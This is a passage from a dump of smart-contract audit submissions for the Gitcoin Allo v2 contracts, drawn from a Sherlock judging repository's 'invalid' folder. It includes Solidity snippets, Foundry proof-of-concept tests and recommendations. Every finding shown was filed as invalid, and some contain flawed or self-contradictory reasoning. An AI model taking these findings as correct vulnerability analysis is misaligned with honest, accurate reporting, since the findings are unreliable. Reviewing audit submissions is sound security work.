distributedTokens;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/042.md"}} +{"title":"Allo.registerRecipient doesn't transfer provided funds","severity":"info","body":"Savory Boysenberry Cobra\n\nmedium\n\n# Allo.registerRecipient doesn't transfer provided funds\nAllo.registerRecipient doesn't transfer provided funds. In case if user provided funds along the call, then they will sit in the Allo contract.\n## Vulnerability Detail\n`Allo.registerRecipient` function [is payable](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L301C78-L301C86). It then calls `strategy.registerRecipient` function, which is [payable too](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L167). However, `Allo.registerRecipient` [doesn't provide funds to the strategy](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L303) with the call.\n## Impact\nIn case if user provided funds along the call, then they will sit in the Allo contract.\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nPass `msg.value` to the strategy`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/040.md"}} +{"title":"Clarify Comment and Improve Function Description","severity":"info","body":"Fantastic Wool Raccoon\n\nfalse\n\n# Clarify Comment and Improve Function Description\nThe comment in the `_isPoolManager` function can be clarified for better understanding. Additionally, the function description can be improved to provide more context. at the moment it says /// @notice Internal function to check is caller is pool manager \n\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Allo.sol#L397\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Allo.sol#L391\n\n## Vulnerability Detail\nlabel: Low\nThe comment is unclear and can be misinterpreted.\n## Impact\nThe unclear comment may lead to confusion or misunderstandings about the function's purpose and usage.\n## Code Snippet\n```solidity\n/// @notice Checks if the caller is a pool manager\n/// @param _poolId The ID of the pool\n/// @param _caller The address to check\n/// @return True if the caller is a pool manager, false otherwise\nfunction _isPoolManager(uint256 _poolId, address _caller) internal view returns (bool) {\n // Check if the caller has the pool manager role for the specified pool\n return hasRole(pools[_poolId].managerRole, _caller);\n```\n## Tool used\n\nManual Review\n\n## Recommendation\n\nClarify the comment in the make it read /// @notice Internal function to check if caller is pool manager","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/039.md"}} +{"title":"Pool can't be created when user provided correct payment","severity":"info","body":"Savory Boysenberry Cobra\n\nmedium\n\n# Pool can't be created when user provided correct payment\nPool can't be created when user provided correct payment because of wrong comparison.\n## Vulnerability Detail\nWhen user creates pool he should provide baseFee as msg.value.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L478\n```solidity\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n```\nAs you can see in case if user provides just `baseFee + _amount` fo native payment or just `baseFee` then transaction will revert.\n## Impact\nUser who provides right amount of funds can't create pool.\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nUse this.\n```solidity\nif ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/038.md"}} +{"title":"Check for Non-Zero Length and Matching Lengths in batchRegisterRecipient Function","severity":"info","body":"Fantastic Wool Raccoon\n\nfalse\n\n# Check for Non-Zero Length and Matching Lengths in batchRegisterRecipient Function\nThe `batchRegisterRecipient` function should include checks to ensure that both the `_poolIds` and `_data` arrays have non-zero lengths and that their lengths match.\n\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Allo.sol#L313\n\nlabel: low\n\n## Vulnerability Detail\nhe function does not include checks to verify that both `_poolIds` and `_data` have non-zero lengths and that their lengths match.\n## Impact\nThe absence of these checks could lead to unexpected behavior or errors if the arrays have mismatched or zero lengths.\n\n## Code Snippet\n\n```solidity\nfunction batchRegisterRecipient(uint256[] memory _poolIds, bytes[] memory _data)\n external\n nonReentrant\n returns (address[] memory recipientIds)\n {\n uint256 poolIdLength = _poolIds.length;\n recipientIds = new address[](poolIdLength);\n\n if (poolIdLength != _data.length) revert MISMATCH();\n\n // Loop through the '_poolIds' & '_data' and call the 'strategy.registerRecipient()' function\n for (uint256 i; i < poolIdLength;) {\n recipientIds[i] = pools[_poolIds[i]].strategy.registerRecipient(_data[i], msg.sender);\n unchecked {\n ++i;\n }\n }\n\n // Return the recipientIds that have been registered\n return recipientIds;\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd checks to ensure that both the _poolIds and _data arrays have non-zero lengths and that their lengths match in the batchRegisterRecipient function. This will help prevent unexpected behavior or errors caused by mismatched or zero-length arrays.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/037.md"}} +{"title":"Use Named return to save some gas","severity":"info","body":"Fantastic Wool Raccoon\n\nfalse\n\n# Use Named return to save some gas\nThe `registerRecipient` function returns an address without using a named return variable, which can improve code readability and make the returned value more self-explanatory.\n\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Allo.sol#L301\n\n## Vulnerability Detail\n\nlabel: Gas\n\n## Impact\n\n## Code Snippet\n\n```solidity\n function registerRecipient(uint256 _poolId, bytes memory _data) external payable nonReentrant returns (address) {\n // Return the recipientId (address) from the strategy\n return pools[_poolId].strategy.registerRecipient(_data, msg.sender); \n }\n\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider using a named return variable (recipientId) in the registerRecipient function to make the returned value more self-explanatory and improve code readability.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/036.md"}} +{"title":"Missing Event Emission in `removePoolManager` Function","severity":"info","body":"Fantastic Wool Raccoon\n\nfalse\n\n# Missing Event Emission in `removePoolManager` Function\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Allo.sol#L263\nThe removePoolManager, addPoolManager function removes a manager from a pool, but it lacks an event emission to log this action, making it less transparent for users and observers. normalize emission events\n\n\n## Vulnerability Detail\nlabel: low\n## Impact\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo enhance transparency a consider emitting an event within the `removePoolManager` and addPoolManager function to log the removal of a manager from the pool. This event can include relevant information such as the pool ID and the address of the removed manager. Emitting an event will improve visibility into pool management actions.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/035.md"}} +{"title":"Missing Check for Zero Amount","severity":"info","body":"Fantastic Wool Raccoon\n\nfalse\n\n# Missing Check for Zero Amount\n\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Allo.sol#L144\n the createPoolWithCustomStrategy function is missing checks to prevent adding 0 amounts.\n\nlabel: Low\n\n## Vulnerability Detail\nThe code does not currently check whether the _amount parameter passed to createPoolWithCustomStrategy is zero. This means that a user could potentially create a pool with no initial deposit, which might not be the intended behavior.\n\n## Impact\nThe impact of this issue could result in unintended behavior, allowing users to create pools with no initial deposit.\n\n## Code Snippet\n\n```solidity\nfunction createPoolWithCustomStrategy(\n bytes32 _profileId,\n address _strategy,\n bytes calldata _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n) external payable returns (uint256 poolId) {\n // Revert if the strategy address passed is the zero address with 'ZERO_ADDRESS()'\n if (_strategy == address(0)) revert ZERO_ADDRESS();\n\n // Revert if _amount is zero\n if (_amount == 0) revert AMOUNT_ZERO(); // You can define this custom error code as needed\n\n // Revert if we already have this strategy in our cloneable mapping with 'IS_APPROVED_STRATEGY()' (only non-cloneable strategies can be used)\n if (_isCloneableStrategy(_strategy)) revert IS_APPROVED_STRATEGY();\n\n // Call the internal '_createPool()' function and return the pool ID\n return _createPool(_profileId, IStrategy(_strategy), _initStrategyData, _token, _amount, _metadata, _managers);\n}\n\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo address the issue of zero amounts being used to create pools, you should include the check for _amount == 0 as shown in the code snippet above. Additionally, you can define a custom error code like AMOUNT_ZERO() to provide a clear error message when the condition is met.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/034.md"}} +{"title":"`percentFee` would not work properly with token decimals != 18","severity":"info","body":"Rural Spruce Goose\n\nmedium\n\n# `percentFee` would not work properly with token decimals != 18\nIn the `Allo.sol` smart contract, `percentFee` assumes to work with only 18 decimals tokens. As it is how the docs and codes show:\n\n> This variable holds the fee percentage applied to transactions within pools. It's represented as a fraction of 1e18, where 1e18 equals 100%.\n\n```solidity\n /// @notice Getter for the fee denominator\n /// @return FEE_DENOMINATOR The fee denominator is (1e18) which represents 100%\n function getFeeDenominator() public pure returns (uint256 FEE_DENOMINATOR) {\n return 1e18; \n }\n```\nAnd it's used in several functions related with `_fundPool`. However, since Allo supports all ERC-20 and ERC-721 tokens, we need to consider tokens with decimals != 18. And current implementation will result in users can bypass the `percentFee` using lower decimal tokens.\n## Vulnerability Detail\n\nAssume we create the pool or fund it with 10USDC which has 6 decimals, the `percentFee` is set to 1e10 and the `getFeeDenominator` will always return 1e18. Then:`10 * 1e6 *1e10 / 1e18 = 1e17/1e18 = 0` The `percentFee` is bypassed by splitting the funding into small amounts and choosing lower decimal tokens ( e.g. [Gemini USD](https://etherscan.io/token/0x056Fd409E1d7A124BD7017459dFEa2F387b6d5Cd?a=0x5f65f7b609678448494De4C87521CdF6cEf1e932) only have 2 decimals.)\n## Impact\nIt will result in improper calculation of `percentFee` and loss of the markets.\n## Code Snippet\n```solidity\n /// @notice Fund a pool.\n /// @dev Deducts the fee and transfers the amount to the distribution strategy.\n /// Emits a 'PoolFunded' event.\n /// @param _amount The amount to transfer\n /// @param _poolId The 'poolId' for the pool you are funding\n /// @param _strategy The address of the strategy\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n(https://github.com/allo-protocol/allo-v2/blob/8a41a342a0de7a2d5d7dbc5395d1da44cb811348/contracts/core/Allo.sol#L502-L520)\n```solidity\n function getFeeDenominator() public pure returns (uint256 FEE_DENOMINATOR) {\n return 1e18; \n }\n```\n(https://github.com/allo-protocol/allo-v2/blob/8a41a342a0de7a2d5d7dbc5395d1da44cb811348/contracts/core/Allo.sol#L599-L601)\n## Tool used\n\nManual Review\n\n## Recommendation\ncheck the specific token decimals and implement the feeDenominator accordingly, alternatively, supports only tokens with decimals = 18.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/033.md"}} +{"title":"Mismatch between `msg.value` and `amount` when creating a new pool might cause pool funds to be stuck in `Allo` contract","severity":"info","body":"Urban Strawberry Monkey\n\nmedium\n\n# Mismatch between `msg.value` and `amount` when creating a new pool might cause pool funds to be stuck in `Allo` contract\n\nBoth `Allo#createPool()` and `Allo#createPoolWithCustomStrategy()` allow creation of pools funded with native tokens. In these instances, it is expected that the values of `msg.value` and `amount` should match. However, if a pool admin unintentionally makes a typo, for example, using `msg.value` of `100 ether` while setting `amount` to `10 ether`, it leads to a situation where the difference between `msg.value` and `amount` gets stuck within the `Allo` contract.\n\n## Vulnerability Detail\n\nIn the `Allo` smart contract, both `Allo#createPool()` and `Allo#createPoolWithCustomStrategy()` use `_createPool()` to create new pools.\n\nThe `_createPool()` function has a parameter called `_amount` of type `uint256` used for initial funding. If `_amount > 0`, it tries to fund the pool via `_fundPool()`, applicable to both native tokens and ERC20 tokens.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L480-L482\n\nThe `_fundPool()` function calculates and deducts fees (if any) and transfers the remaining amount to the pool's strategy address using `Transfer#_transferAmountFrom()`:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L509-L516\n\nWhen dealing with native tokens, like ETH, `Transfer#_transferAmountFrom()` checks if `msg.value` (the sent ETH) is sufficient (not less than `amount`) in order to successfully complete the transfer. However, if `msg.value` is greater than `amount`, the excess ETH remains within the `Allo` contract:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L72-L77\n\nThis could happen in case of a typo made by the pool admin when creating a new pool, e.g.\n- `msg.value = 100 ETH`\n- `amount = 10 ETH`\n\nThere is no mechanism to prevent such errors which could lead to pool funds being stuck in the `Allo` contract.\n\n## Impact\n\nThe vulnerability's impact is that excess funds deposited into a pool end up in the `Allo` contract and become inaccessible, effectively getting stuck.\n\nIn a technical sense, it is theoretically possible to recover these funds using the `Allo` contract's `recoverFunds()` function. However, two critical issues need to be highlighted:\n\n- **Ownership Restriction:** The `Allo#recoverFunds()` function can only be triggered by the protocol owner. This limitation contradicts the trustless nature of the protocol, as it means the pool admin must rely on the protocol owner to access their funds.\n\n- **Lack of Fund Identification:** Even if `Allo#recoverFunds()` is used, it simply transfers all the stuck funds. The `Allo` contract lacks an accounting mechanism to determine the rightful owners of these stuck funds. This makes it challenging to identify and distribute the funds accurately.\n\n- **All-or-Nothing Fund Recovery**: The `Allo#recoverFunds` function operates in an all-or-nothing fashion. It can only transfer all accumulated funds at once, which can be impractical when multiple users have funds stuck in the contract. This limitation can lead to unequal and non-granular fund recovery, complicating the resolution of the issue.\n\nIn essence, the vulnerability leaves deposited funds stranded within the `Allo` contract, and although there's a potential solution, it's not ideal due to ownership restrictions and a lack of clarity in identifying fund ownership.\n\n## Code Snippet\n\nHere is a proof of concept which reproduces the issue:\n\n```solidity\ncontract StuckFundsPoC is AlloTest {\n\n function setUp() public override {\n super.setUp();\n }\n\n function test_stuckFundsPoC() public {\n address payableStrategy = address(new PayableMockStrategy(address(allo())));\n allo().addToCloneableStrategies(payableStrategy);\n\n vm.deal(pool_admin(), 100 ether);\n console.log(\"\\n=== Before Pool Creation ===\");\n console.log(\"Pool admin balance:\\t\\t%s wei\", pool_admin().balance);\n\n vm.prank(pool_admin());\n // Note that msg.value is 100 ether... ...while amount is 10 ether \n uint256 poolId = allo().createPool{value: 100 ether}(poolProfile_id(), payableStrategy, \"0x\", NATIVE, 10 ether, metadata, pool_managers());\n IAllo.Pool memory pool = allo().getPool(poolId);\n\n console.log(\"\\n=== After Pool Creation ===\");\n console.log(\"Pool admin balance:\\t\\t%s wei\", pool_admin().balance);\n console.log(\"Strategy balance:\\t\\t%s wei\", address(pool.strategy).balance);\n console.log(\"Allo balance (Stuck):\\t\\t%s wei\", address(allo()).balance);\n }\n}\n\ncontract PayableMockStrategy is MockStrategy {\n\n constructor(address _allo) MockStrategy(_allo) {}\n\n receive() external payable {}\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThere are 2 possible remediation steps here:\n\n- If the value of `msg.value` does not match the specified `amount`, the pool creation process should be terminated and revert;\n- In cases where `msg.value` is greater than the required `amount`, the excess native tokens should be promptly returned to the pool administrator to ensure that they are not left trapped within the contract.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/032.md"}} +{"title":"`Allo._createPool` fail even if the `msg.value` is sufficient to cover the `baseFee`","severity":"info","body":"Clever Metal Giraffe\n\nhigh\n\n# `Allo._createPool` fail even if the `msg.value` is sufficient to cover the `baseFee`\n\nIf `Allo.baseFee` is set, users need to pay the fees when creating new pools. But there is an implementation error that causes the user to fail creating a pool even if the fund is sufficient to cover the `baseFee`.\n\n## Vulnerability Detail\n\nIn `Allo._createPool`, it checks that `msg.value` is sufficient to cover the `baseFee`.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n```solidity\n function _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n ā€¦\n\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n ā€¦\n }\n```\n\nHowever, the checks use `>=` instead of `>`. If `msg.value` == `baseFee` and `_token != NATIVE`, it reverts. But `msg.value` should be enough to pay the fee.\n\n\n## Impact\n\nUsers cannot create pools with enough `msg.value`. They are forced to pay more.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse `>` instead of `>=`\n\n```diff\n function _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n ā€¦\n\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n- if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n+ if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n ā€¦\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/031.md"}} +{"title":"Missing receive function in Strategy contracts, which bricks the entire function","severity":"info","body":"Winning Mercurial Ferret\n\nhigh\n\n# Missing receive function in Strategy contracts, which bricks the entire function\nThe smart contract lacks the `receive() payable` functions in the strategy contracts, which results in unexpected behavior when attempting to deposit native tokens into pools. The absence of these functions prevents the contract from properly handling native tokens, rendering them unusable for pools. It is essential to implement the `receive() payable` functions to enable the intended functionality of the contract.\n## Vulnerability Detail\nThe vulnerability pertains to the absence of the `receive() payable` functions in the strategy contracts. These functions are crucial for handling native tokens in Ethereum-based smart contracts. Without them, the contract cannot accept native tokens, causing unexpected behavior and preventing users from participating in pools with native tokens.\n## Impact\nThe impact of this vulnerability is significant, as it restricts the use of native tokens within the pools, making them unusable for depositors. Users attempting to interact with the contract using native tokens will encounter issues, and their transactions may fail or revert, leading to a poor user experience and potential frustration.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L516\n## Tool used\n>PoC\n```solidity\nfunction testRevert_nativePool() public {\n allo().addToCloneableStrategies(strategy);\n\n //vm.expectEmit(true, true, false, false);\n emit PoolCreated(\n 1,\n poolProfile_id(),\n IStrategy(strategy),\n NATIVE,\n 5e18,\n metadata\n );\n\n vm.prank(pool_admin());\n vm.deal(pool_admin(), 50 ether);\n vm.expectRevert();\n uint256 poolId = allo().createPool{value: 5 ether}(\n poolProfile_id(),\n strategy,\n \"0x\",\n NATIVE,\n 5e18,\n metadata,\n pool_managers()\n );\n }\n```\n\nResult: \n```solidity\n ā”‚ ā”œā”€ [0] allo_treasury::fallback{value: 50000000000000000}() \n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [202] 0x467547F57C4c37a58a795a55d789DF43BdE7A37a::fallback{value: 4950000000000000000}() \n ā”‚ ā”‚ ā”œā”€ [46] MockStrategy::fallback() [delegatecall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† \"EvmError: Revert\"\n ā”‚ ā”‚ ā””ā”€ ā† \"EvmError: Revert\"\n ā”‚ ā””ā”€ ā† 0xb12d13eb\n ā””ā”€ ā† ()\n\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.11ms\n \nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\nManual Review, foundry\n\n## Recommendation\nAdding receive function in all strategy contracts\n```solidity\n receive() external payable {}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/027.md"}} +{"title":"Missing timelock mechanism","severity":"info","body":"Winning Mercurial Ferret\n\nhigh\n\n# Missing timelock mechanism\nThe smart contract lacks a time-lock mechanism for the `recoverFunds` function. This vulnerability allows the owner to withdraw all funds from the protocol without any delay or oversight. It is recommended to implement a time-lock mechanism to prevent potential misuse by the owner, especially in situations where the admin privileges may be deprecated.\n## Vulnerability Detail\nThe vulnerability lies in the absence of a time-lock mechanism on the `recoverFunds` function. As it stands, the owner can execute this function at any time, transferring all funds from the contract to a specified recipient address without any delay or additional authorization.\n## Impact\nThe impact of this vulnerability is significant, as it grants the owner unrestricted access to drain all funds from the protocol. This could result in a loss of funds for other participants or users of the protocol if the owner decides to abuse their privileges.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L283-L289\n## Tool used\n\nManual Review\n\n## Recommendation\nIt is strongly recommended to enhance the security of the smart contract by implementing a time-lock mechanism for the recoverFunds function. This time-lock mechanism should introduce a delay between the request to execute this function and its actual execution, during which time other stakeholders or administrators can review and potentially veto the withdrawal. By adding such a safeguard, you can prevent the owner from unilaterally draining funds and add an additional layer of security to the protocol. Additionally, consider reviewing and potentially updating the admin privileges and access control to reduce the risk associated with deprecated admin roles.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/024.md"}} +{"title":"Fixed Fee Calculation for Tokens with Varying Decimal Places","severity":"info","body":"Fantastic Wool Raccoon\n\nfalse\n\n# Fixed Fee Calculation for Tokens with Varying Decimal Places\n\nin Allo.sol the following line : https://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Allo.sol#L510\n\n\n\nThe current implementation of the contract assumes a fixed fee denominator of 1e18 for fee calculations. While this assumption works well for tokens with 18 decimal places, \n\n## Vulnerability Detail\nit may lead to precision errors and unexpected behaviour when dealing with tokens that have a different number of decimals. This issue arises due to the inflexibility of the fee denominator.\n\n## Impact\n\nMedium\n\n## Code Snippet\n\n```solidity\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n```\n\n```solidity\n function getFeeDenominator() public pure returns (uint256 FEE_DENOMINATOR) {\n return 1e18;\n }\n```\n\n## Tool used\nManual Review\n\n## Recommendation\nAdd a dynamic fee calculation for tokens with varying decimals places so that you check tokens that are being added say it should see if token has 6 decimals and adjust accordingly to avoid any errors","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/023.md"}} +{"title":"baseFee + _amount == msg.value will not cost the Allo contract's balance","severity":"info","body":"Lucky Sand Tapir\n\nmedium\n\n# baseFee + _amount == msg.value will not cost the Allo contract's balance\n\nbaseFee + _amount == msg.value or baseFee == msg.value will not cost Allo contract's balance\n\n## Vulnerability Detail\n\nAllo contract's balance will only be spent if baseFee + _amount or baseFee is greater than msg.value.\n\nThe place where native token is spent is as follows // found mark, if equal, Allo contract's balance will not be spent\n\n```solidity\n function _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n...\n\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee); // found\n emit BaseFeePaid(poolId, baseFee);\n }\n\n if (_amount > 0) {\n _fundPool(_amount, poolId, _strategy); // found\n }\n\n emit PoolCreated(poolId, _profileId, _strategy, _token, _amount, _metadata);\n }\n\n```\n\n## Impact\n\nWill cause the operator to spend excess native tokens\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L473\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L415-L485\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nexclude equal to","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/022.md"}} +{"title":"`Anchor.execute` can only be executed in two separate transactions.","severity":"info","body":"Fancy Khaki Perch\n\nmedium\n\n# `Anchor.execute` can only be executed in two separate transactions.\n`Anchor.execute` can only be executed in two separate transactions.\n## Vulnerability Detail\n`Anchor.execute` is not a `payable` function. Therefore, if a user wants to send native tokens directly through `Anchor.execute`, he must first send the native tokens to the `receive` function in a separate transaction.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L70-L87\n```solidity\n function execute(address _target, uint256 _value, bytes memory _data) external returns (bytes memory) {\n // Check if the caller is the owner of the profile and revert if not\n if (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED();\n\n // Check if the target address is the zero address and revert if it is\n if (_target == address(0)) revert CALL_FAILED();\n\n // Call the target address and return the data\n (bool success, bytes memory data) = _target.call{value: _value}(_data);\n\n // Check if the call was successful and revert if not\n if (!success) revert CALL_FAILED();\n\n return data;\n }\n\n /// @notice This contract should be able to receive native token\n receive() external payable {}\n```\n\nThe protocol doesn't restrict users to having a pre-existing balance in Anchor before executing `Anchor.execute`. The current design compromises the integrity of the protocol's functionality, requiring users to make two separate transactions to achieve a single execute operation.\n\nAdditionally, the failure in the test `test_execute_CALL_FAILED` is not due to the `NoFallbackContract`, but rather due to insufficient native tokens. The error code is `EvmError: OutOfFund`, which is precisely the impact of this vulnerability.\n\n```shell\nforge test --mt 'test_execute_CALL_FAILED' -vvvv\n[ā ’] Compiling...\nNo files changed, compilation skipped\n\nRunning 2 tests for test/foundry/core/Anchor.t.sol:AnchorTest\n[PASS] test_execute_CALL_FAILED() (gas: 93744)\nTraces:\n [93744] AnchorTest::test_execute_CALL_FAILED()\n ā”œā”€ [22509] MockRegistry::setOwnerOfProfile(0x746573745f70726f66696c650000000000000000000000000000000000000000, AnchorTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [12666] ā†’ new 